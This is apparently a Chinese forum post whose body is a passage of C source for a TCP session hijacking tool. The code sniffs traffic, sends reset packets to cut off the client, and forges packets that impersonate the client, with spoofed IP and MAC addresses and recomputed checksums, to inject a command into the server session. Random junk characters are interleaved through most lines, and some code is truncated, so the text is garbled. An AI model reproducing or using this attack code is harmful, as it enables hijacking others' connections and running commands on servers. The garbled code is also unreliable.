- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
|
pTCPPacket->iphdr.sourceIP, pTCPPacket->tcphdr.th_sport, TRUE, FALSE); % p8 T8 y0 M+ V, \
//reset action flag $ t7 d( g8 p+ a& Y. c1 y' I
ResetActionAllFlag(); , U+ r1 c( y0 w/ ]
}
2 d1 q9 ^: Z6 F: p. } //start hijack 3 c( T' b$ f& R
else if(g_dwAction == ACTION_HIJACK)
* T& ~) ] J; X' x: r5 s { 6 h( }3 p. d& l
//send rst packet to client
" }3 _( p0 P- t5 \6 u4 d SendRstPacket(pTCPPacket->tcphdr.th_ack, pTCPPacket->tcphdr.th_seq); % N4 {0 V9 ?; V1 [
//send hijack packet to client / i% u" ^! p4 _3 ^
SendHiJackPacket(pTCPPacket); , ]" x' J0 F- e( G9 f) f
//reset action flag
+ g ?- L- Z6 i) ~% x& a ResetActionAllFlag(); ! {. n1 a7 M8 n* l! ]
}
8 g. w- `- l6 G7 I, u }
6 }" h, M& f% s& V6 N. S, L f, p0 { //show the tcp data
: ~) L+ A4 a' J1 \% `, O. N if( (g_dwAction == ACTION_WATCH) && (usDataLen) ) - m' x7 l9 y- z9 c7 Z
{
. D( E; {/ H- M. U" ]( w: H ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE);
2 l0 z* [& }$ E- W //暂不考虑IP、TCP头不是20字节的情况 ! G8 m) _) V9 ?. V) z* x
//pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen;
! J' h7 P' v4 u% T4 s* Z% \; k pStr = (char *)pTCPPacket + 54; ' d7 j6 `0 M2 f1 ~2 B `
for(i=0; i } 4 g" V- D, a- h( `6 D' B9 I9 {# B
}
' ^4 c3 n1 D" R! g$ w //debug output
$ h) Y% J7 |# k. S //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE);
% B. o! p8 ]2 Q" _ }//end of analyse packets while
$ m( u% j7 F6 e }//end of recv packets while ) c" e6 ^, H+ h/ V+ C" }$ k: E8 ]
PacketFreePacket(lpRecvPacket);
& l$ B1 f- k/ S+ g* X return 0;
% K# r5 C4 B, F$ p}
! }, w7 F. L) x( q+ H" B' k( _/ Y( o8 M: L( Q$ h9 _
* T9 n% O8 i( L# C7 X9 ~& m// ' i U" k& ^! J, @
//功能:操作记录所有连接信息的单向链表
" `+ N' ?8 Z* H8 G# Z//
' a. a5 i3 j7 ^* D3 D( BDWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP,
: `7 N7 h8 k& B USHORT uClientPort, BOOL bDelete, BOOL bAddNew)
0 {. h/ [. L) K8 D{
1 R: f) [0 y" J1 Z PCONNINFO pNew, pTmp; - k k+ I9 f# {$ G# W
+ T+ s) Q: @* d- z pTmp = g_pConnHead; / v& ^, i h# E4 M% J7 `# `- ?
while(pTmp) X4 Q `- N5 a; g$ y! Q# @- _
{ ( w5 r7 a& ] q4 Z3 R( N9 H3 k5 z
if(pTmp->bActive) 5 x% p' A3 ^: C1 @$ w u" I0 C9 o5 w
{ 0 q. l5 q* o/ V8 |/ D
//found it % y% l- k( l9 [
if( (pTmp->dwServerIP == dwServerIP) && & k: W9 g9 ?. _3 T% N: r/ S1 I
(pTmp->uServerPort == uServerPort) &&
/ _' X5 }1 v; ^2 [. T& z (pTmp->dwClientIP == dwClientIP) &&
1 c4 }" [! j0 w7 x( w (pTmp->uClientPort == uClientPort) ) * U. u* j v M! q y$ A
{ 3 ]% O% e$ Q _! Z+ z& s
if(bDelete) ! F, W0 J9 i" a
{
9 K$ d8 [; H8 Z: t2 `- v pTmp->bActive = FALSE; ! C5 }" E: o8 ]# C5 N5 ?. o
return 0; 1 @: l! Z* P8 L, o2 Q
}
$ `" o% |; y: `# e else return pTmp->ident;
4 v: {8 L# E, T# M6 V( N' ? }
2 F& r7 e1 \, r* R' g# K/ j: v }
7 t; {* C# S8 A& ?# }" L! P+ Q pTmp = pTmp->Next;
' r P2 C8 e+ Y( k4 `% o( Z. S }
; |5 d+ ~- T! ^, k3 ]9 U( [7 B //not found, create new node ! a% O! N9 z9 i! Y
if( (!pTmp) && (!bDelete) && (bAddNew) ) 0 h/ Z$ ?6 ?. Z* i1 W
{ : o- f4 [/ V' h
//search unactive note 4 w7 U5 M+ M2 w' w9 O
pTmp = g_pConnHead; 4 g, T; H7 {% Q/ I1 R& X5 l
while(pTmp)
# ?0 k4 a& Y U' M$ C# n {
# B8 r# w% B* l8 z2 _' @! e: p if(!pTmp->bActive) break; ; h& u; }- W- ]/ x4 c1 j8 \" P$ P7 J
pTmp = pTmp->Next;
w3 K. N0 I, v% u9 Y }
& p7 o: m% l5 H' d* V/ s //found a unactive node + {9 B7 s# y `. S! u4 k q
if(pTmp) . J5 ]2 Z) I) p! t: V5 c! ~
{
+ j) {, R# l7 D7 E; x5 } pTmp->dwServerIP = dwServerIP;
( I0 e0 D8 B+ M7 i8 D) V pTmp->uServerPort = uServerPort; 0 N* U, k, ~) _( I9 a6 p3 r
pTmp->dwClientIP = dwClientIP; ' w8 T3 e7 l) P- ]/ N/ j* ~4 m
pTmp->uClientPort = uClientPort;
{6 n7 D+ T |' | pTmp->bActive = TRUE;
% _7 Y9 ~8 B9 W& v6 _ return pTmp->ident; . `3 C+ J7 M3 q5 Q2 u+ t( k4 d% K
} ! L2 E+ o4 _' t, O2 C
//not found,create new node : g2 v6 z3 t* v* |
pNew = (PCONNINFO)malloc(sizeof(CONNINFO)); 9 M' `6 Y# ~! F) k. F
if(!pNew)
5 o$ @) {2 t/ q" V6 s& ^ { . z8 b! w8 N o, [3 f7 I6 L
printf("malloc for link node error:%d\n", GetLastError());
7 l. s$ m8 j6 Z& d6 J: x return 0; % W& a4 z7 R" @. k" f
}
8 c3 X. I2 l- l6 l //fill the struct , ?1 P0 f2 r" Q7 m( r
pNew->bActive = TRUE;
1 @) t) }1 c! k9 G8 q# G, U) F pNew->dwServerIP = dwServerIP;
0 N4 U) p, d# O: | pNew->uServerPort = uServerPort; ! M, N5 w P! ?& U% ^& w' T
pNew->dwClientIP = dwClientIP; 5 P1 z; o( U4 | m5 X) _
pNew->uClientPort = uClientPort; ( M& p8 a: _( w4 Z( _! X1 O, f
pNew->ident = ++g_ident; ) G$ t" ?) s* k) {& r* y
pNew->Next = NULL;
% C# {& L2 J7 q6 H' m! S3 G1 g //add new node to link 0 U- z7 B% e8 Z# t' ?
if(!g_pConnHead) $ M2 K" g/ v8 ]# _& V; ]2 J; V1 @
g_pConnHead = g_pConnLast = pNew;
/ m' K7 a! @9 K! S! G else
0 t2 f, T. w" P9 x' N {
8 `. B8 u" K/ n- }( r g_pConnLast->Next = pNew;
$ J2 p$ ^4 w, W& |1 x: a C g_pConnLast = pNew; # t, I4 ]/ [+ n
} , r" }7 w) ]: A. y. J; D9 ?1 j
return pNew->ident;
( j! u! j7 c- e } ; y' ~- }3 K- J
return 0;
2 g" p5 s# ], {) l$ m}
/ q h, l. O8 ^- V9 i- r# E( g
// . U1 M F. o# V6 l
//功能:判断一个数据包是不是只有ACK标志
8 c9 w/ s3 U4 N" a3 J" q, ^//
3 D& r# `! n' ?2 NBOOL IsACKPacket(unsigned char flag) 3 g! J7 G0 w3 l" j7 n* M3 @
{
8 ? S) \% M, | ]' |& @6 w int i, j=1;
9 ?2 V9 S5 N& s1 y2 ?0 f for(i=0 ; i<4; i++) $ ~: Z, n& z3 j' n9 ?4 B( S
{
. c/ j+ J! w6 t5 ?) p/ ?+ ? if(flag & j) return FALSE;
2 b. }2 Y" R& O j <<= 1; 1 M5 j( N* O. F* U
}
, U _0 B9 D, |7 a# B; s6 m; }( f if(!(flag & 0x10)) return FALSE;//is ack? ) E. Z7 j; R$ ]' `
if(flag & 0x20) return FALSE; : V- @, r1 Z# |1 \2 x) a% j% l, }4 U
return TRUE;
6 E$ Y3 \$ X' B- |: l* b5 I} 7 p+ Z& `2 t- M( c
( D' c+ L4 A9 p9 J1 \. g C
// * h' ^0 B8 x% D/ B* F+ B
//功能:伪装成Client给Server发送数据包 ; m1 L) Q- v. I& Q- O( w
//
& t* Q! ?6 y$ LBOOL SendHiJackPacket(PTCPPACKET pTempletPacket)
8 R: X' V1 H9 i- Y{ / S# F* N2 g- N- D! O: {9 }
1 G8 [ w! m- R' y O char szBuff[1520];
' _. P2 q. _; k, a- u+ O( e0 ?# v PSDHDR psdhdr; 7 j6 o1 i# `8 ?; y I7 h: P
PTCPPACKET pHiJackPacket = NULL; / }, Y& _3 b- b2 q" E
BOOL bRet = FALSE; 0 X9 {" S" _* B3 F% ]
# A J4 I/ t- T N __try $ `; K$ n) x* m4 r% k+ g/ p
{ 7 M! r1 b: y) o z$ u" V
//
3 X# U5 S5 j% W. Q ` if(!g_pCurrCtrlConn) __leave; # b: u2 o I3 X6 k
//allocate memory for hijack packet
2 p9 `6 I1 H1 l1 H# A6 r pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
5 u2 m2 a9 W U! I2 o7 `4 c1 h9 W if(!pHiJackPacket)
9 Z% m9 i, y# \" {3 K( T8 t9 E {
2 H- M) ?# v2 b4 b printf("malloc error:%d\n", GetLastError());
$ Z) P' \: Q3 h/ x __leave; & y+ e& Z' _; T* ~ _5 A
} ; p* K( n* M+ f" s
memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET));
% l$ e6 {- X& g: t //-------------- modify the packet ---------------// / @' [/ i( H& I/ `% ~' n
//modify ethernet head 2 O5 q2 I4 f$ d6 l
memcpy(pHiJackPacket->ehhdr.DestMAC, g_szServerSideMAC, 6); 8 L+ C6 r! L) h& ^6 o
memcpy(pHiJackPacket->ehhdr.SourceMAC, g_szOwnMAC, 6);
' L% O/ p! M* ]8 x //modify ip head
" ]4 \& m1 W3 K. q pHiJackPacket->iphdr.h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long));
! V& _0 Z3 }1 w+ V6 d+ J/ W8 m pHiJackPacket->iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand));
; U/ a, M" e5 x) T* c pHiJackPacket->iphdr.ident += 1;//标识加1
8 Z: t1 y' B3 y pHiJackPacket->iphdr.checksum = 0;
' u9 y$ o7 S8 g. `4 g pHiJackPacket->iphdr.sourceIP = g_pCurrCtrlConn->dwClientIP;//源IP地址,伪装成client
H" d- N, c2 X' X: f pHiJackPacket->iphdr.destIP = g_pCurrCtrlConn->dwServerIP;//目的IP地址,接收hijack包的地址
0 [# w/ o- `# |9 ]# s. }. J9 J* ?6 B //modify tcp head 7 q8 S- j. I( c; S6 R
pHiJackPacket->tcphdr.th_sport = g_pCurrCtrlConn->uClientPort;//client's port & S# C2 N G8 V
pHiJackPacket->tcphdr.th_dport = g_pCurrCtrlConn->uServerPort;//server's port
& s- e! c1 ^9 r9 _+ g# b pHiJackPacket->tcphdr.th_lenres = (sizeof(TCPHDR)/4 << 4 | 0);
$ O6 F9 b7 O& ]- J1 i pHiJackPacket->tcphdr.th_flag = 0x18;// PA
" v3 K6 V4 y( g9 d5 B/ l2 z pHiJackPacket->tcphdr.th_sum = 0;
" o6 D- k" R% K8 F p; a pHiJackPacket->tcphdr.th_win = 0x3F44;
* A7 ~2 H8 u5 A {& T# `9 g //fill tcp psd head
' a! ~9 P2 y& a8 M( s# }7 E) ?; @ psdhdr.saddr = pHiJackPacket->iphdr.sourceIP;
: M( a/ z! r7 v* z psdhdr.daddr = pHiJackPacket->iphdr.destIP;
7 v1 d. F1 Z4 o9 m! k4 ~ psdhdr.mbz = 0; 1 I4 k8 P0 }# ]0 w
psdhdr.ptcl = IPPROTO_TCP;
1 w, r7 }0 g" ?% O% {; h psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len
# ?$ `# z4 O( O: @ //calculate tcp checksum ) c1 q0 r% n( o3 w
memcpy(szBuff, &psdhdr, sizeof(PSDHDR)); ( P. \6 U2 a/ H, Y3 P/ F7 M9 c
memcpy(szBuff + sizeof(PSDHDR), &pHiJackPacket->tcphdr, sizeof(TCPHDR));
) a5 ]! A' P7 P8 v2 K0 K& _ memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand));
5 b6 d& q+ w' J3 M5 p pHiJackPacket->tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand));
& A% x+ x7 e* Z2 u9 _ //calculate IP checksum
, d1 n' J6 _3 j7 C6 M1 z- B* I+ q1 X pHiJackPacket->iphdr.checksum = checksum((USHORT *)&pHiJackPacket->iphdr, sizeof(IPHDR)); ! ^4 g) |' N$ E) C1 B
//fill send buffer ! }& g1 j+ T ]; f0 o% E
memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET));
6 v. p. z+ ^" a0 @, }+ h memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand));
, t2 Q8 r7 K8 q; }3 ~ memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4); 2 _. z( T! f+ u
memset(g_lpSendPacket->Buffer, 0, 1514);
& R/ M B5 L) K0 V- A+ T' U4 \ memcpy(g_lpSendPacket->Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand));
( z% Z# A2 J/ B6 d; p' e if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE) 3 s! x. F3 B+ s a3 ~4 _
{ * [% C0 t1 w9 M* Q7 j8 v4 h% L
printf("Error sending the hijack packets!\n"); 2 X, L4 J0 ]4 o+ E6 A* V/ v
__leave; 8 \, d( e3 z0 ~6 U
} . M3 T. o1 @8 G( Y( i
else printf("Send hijack packet ok!\n"); : I/ O! \+ F2 n& ^8 W! p
bRet = TRUE;
e0 B7 }9 O% G/ {% L, q } |
|